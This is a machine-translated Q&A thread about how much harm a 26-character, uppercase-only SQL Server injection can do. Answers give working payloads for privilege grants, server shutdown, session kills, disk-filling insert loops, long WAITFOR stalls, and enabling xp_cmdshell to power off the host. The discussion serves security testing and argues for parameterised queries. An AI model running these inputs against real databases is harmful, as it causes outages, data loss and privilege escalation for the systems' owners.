SQL Server注入-以26个字符为单位的损失是多少?


21

我正在测试针对SQL Server数据库上的注入攻击的弹性。

db中的所有表名都是小写,并且排序规则区分大小写,Latin1_General_CS_AS

我可以发送的字符串被强制为大写,并且最大长度为26个字符。所以我不能发送DROP TABLE,因为表名将是大写的,因此由于排序规则,该语句将失败。

那么-我在26个角色中能造成的最大伤害是多少?

编辑

我了解有关参数化查询的所有知识,等等-假设在这种情况下,开发构建要发送查询的前端的人没有使用params。

我也不打算做任何邪恶的事情,这是由同一组织中的其他人构建的系统。


1
我们是否在想象,或者您实际上是在进行笔测试,并且有不允许您避免注射的要求?您是否正在寻找解决他缺乏安全感的方法?
LowlyDBA

41
为什么甚至可以选择将门打开?似乎您已经花了更多的时间在思考这个问题,而不是花很多时间才能关上门。我认为这是徒劳的活动-如果您提出10个漏洞,他们会说,我们将填补这10个漏洞,而且肯定不会排在第11位。这是“清洗”弦乐带给我们的地方。/ facepalm
亚伦·伯特兰

5
这是一个非常模糊和随意的问题,甚至在理论上也无法解决。SQL注入还有其他本机缓解功能(权限,沙箱,防火墙等),您必须考虑所有这些问题才能回答此问题。
埃文·卡洛尔

2
什么限制了26个字符的限制?应用程序?
乔纳森·菲特

7
停下来。停下来 如果远程可以使用参数化查询,请使用它们。如果其他人不知道如何使用它们,请找到一个体面的资源并请他们阅读。如果他们不听话,请通知经理或主管他们正在制造严重的安全漏洞(无损演示不会受到伤害。)并拒绝接受教育。
jpmc26

Answers:


38

简单:

GRANT EXECUTE TO LowlyDBA

或者,我想在这种情况下

grant execute to lowlydba 

从中选择各种变化。

您极有可能现在可以在当前系统上对此进行测试,但是随着时间的推移,数据库中的任何细微更改都会使您的测试无效。字符串可能会更改,有人可以创建具有破坏性的小写存储过程-任何东西。您永远无法百分百地说出某人不会造成破坏性的26个角色攻击。

我建议您找到一种方法,使开发人员遵循基本的行业标准最佳安全实践,前提是仅出于您自己的考虑,因为我假设某人至少在发生安全漏洞时承担部分责任。

编辑:

并且出于恶意/乐趣,您可以尝试启用每个跟踪标志。这将很有趣。感觉像Brent Ozar的博客文章会让...

DBCC TRACEON(xxxx, -1)

1
除了使跟踪标志:改变各种随机设置:SET LOCK_TIMEOUT 0;SET LANGUAGE Malaysian;SET ANSI_NULLS OFF:...
ypercubeᵀᴹ

2
@ypercubeᵀᴹ它们只会影响您自己的会话。
马丁·史密斯

2
@MartinSmith thnx。如果SET仅影响会话设置,则成功更改satabase和服务器设置(ALTER DATABASE ...;?)DROP DATABASE ..;会造成更大的损害;)
ypercubeᵀᴹ18年

1
更改数据库和sp_configure主要用于数据库和服务器级别的设置。尽管您可能会用这些来达到26个字符的限制。同样,仅在客户端连接未设置这些特定设置的情况下,才在数据库级别使用这些设置。默认情况下,大多数或全部都这样做。
马丁·史密斯

7
我很像那句话。
布伦特·奥扎

22

SHUTDOWN命令或KILL命令(选择一个随机数超过50)都采取显著小于26个字符,虽然帐户执行所述应用程序查询希望不具有足够的权限来运行这些。


通常,该帐户也不需要删除表...
Greg

3
@Greg是的。尽管您可以推测一个环境,即考虑允许SQL注入(只要长度很短)就没有遵循安全最佳实践,并且帐户可能没有配置为具有最小权限。
马丁·史密斯

14

您可以创建一个表,然后填充该表,直到时间结束或磁盘空间用完为止,以先到者为准。

declare @S char(26);

set @S = 'create table t(c char(99))';
exec (@S);

set @S = 'insert t values('''')'
exec (@S);

set @S = 'insert t select c from t'
exec (@S);
exec (@S);
exec (@S);
exec (@S);
-- etc

19
@AlanB那么,那么您将需要一些阻止我多次利用该弱点的东西。
Mikael Eriksson,

1
tarnations ... while 1=1 insert t values('')is 30 ... create table x(i int)=> while 1=1 insert t select 0is 27
WernerCD '18

1
您能否使用它来构建比字符数限制更长的命令,然后执行该命令?
Lawtonfogle

1
@MartinSmith我以为我会像这样离开,但现在我只需要尝试一下:)。如果我知道了会告诉你的。
Mikael Eriksson,

7
@WernerCD x:insert t select 0 GOTO x恰好是26。
马丁·史密斯

4

根据您对损害的定义,可以运行以下命令:WAITFOR DELAY '23:59'要真正邪恶,可以使用负载测试工具从32,768个客户端运行该负载测试工具。



1
如果将字符串注入具有锁定功能的临时批处理中,则可以在一次调用中提供可行的拒绝服务,而无需引起线程短缺。
David Spillett '18

3

基于@MikaelEriksson的回答和@MartinSmith对我的初始评论的回答而产生的变化:

declare @S char(26);

set @S = 'create table x(i int)';
exec (@S);

最初,我试图做一个WHILE语句,但是我能做的最好的是27个字符:

set @S = 'while 1=1 insert t select 0'; -- fails at 27 characters
exec (@S);

但马丁指出GOTO:

set @S = 'x:insert t select 0 GOTO x';
exec (@S);

GOTO ...万恶的根源和26个字符的无限循环插入语句的创建者。

话虽如此...坚持使用CHAR(99)而不是int可能是有利的,因为那样会占用更多空间。其他选项要么使用更长的名称,要么破坏26个字符的限制……或者每行使用更少的存储空间。

完整的测试代码:

declare @S char(26);
set @S = 'drop table t;';
exec (@S);
GO

declare @S char(26);

set @S = 'create table t(c CHAR(99))';
exec (@S);

set @S = 'x:insert t select 0 GOTO x';
exec (@S);
GO

1
set @S = 'x:insert t;select 0;GOTO x';以便将来与您的注入攻击兼容;)
ypercubeᵀᴹ18年

@ypercubeᵀᴹ您添加了两个;s ...第二个很好-替换空格并且可以在不需要时起作用。第一个中断查询-将INSERT语句与SELECT语句分开。
WernerCD '18年

是的。如果不使用分隔符,就会发生这种情况!我们不知道每个查询在哪里结束以及下一个查询何时开始!
ypercubeᵀᴹ

1
@WarnerCD我知道。这更像是关于SQL Server折旧过程的笑话。这似乎是永远的。尽管如此,在语句之间以及不仅在需要的地方使用分号还是一个好习惯。
ypercubeᵀᴹ

2
@yper我怀疑它是否会被强制执行。可能有大量的遗留代码需要添加缺少的半角冒号,而这样做没有特殊的商业价值。而且它可能嵌入到难以更新或无法更新的应用程序中。
马丁·史密斯

0
XP_CMDSHELL 'SHUTDOWN -PF'

根据断电的严重程度而定。:-)

这确实需要在服务器上启用xp_cmdshell,对于SQL Server的最后几个版本而言,情况并非如此。它还要求服务帐户具有关闭权限,该权限可能具有也可能不具有。

启用xp_cmdshell可能超出了您的26个字符的限制。您可以多次注射吗?

SP_CONFIGURE 'SHOW ADV',1

RECONFIGURE

SP_CONFIGURE 'XP', 1

RECONFIGURE

1
仅当这是批处理中的第一条语句时,EXEC才是可选的。这里可能不是这样。
马丁·史密斯

@马丁史密斯,很好的评论。EXEC在每个过程调用行中添加5个字符,这使大多数字符超过26个字符。我想知道CREATE ALIAS是否对您有帮助?
Greenstone Walker
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.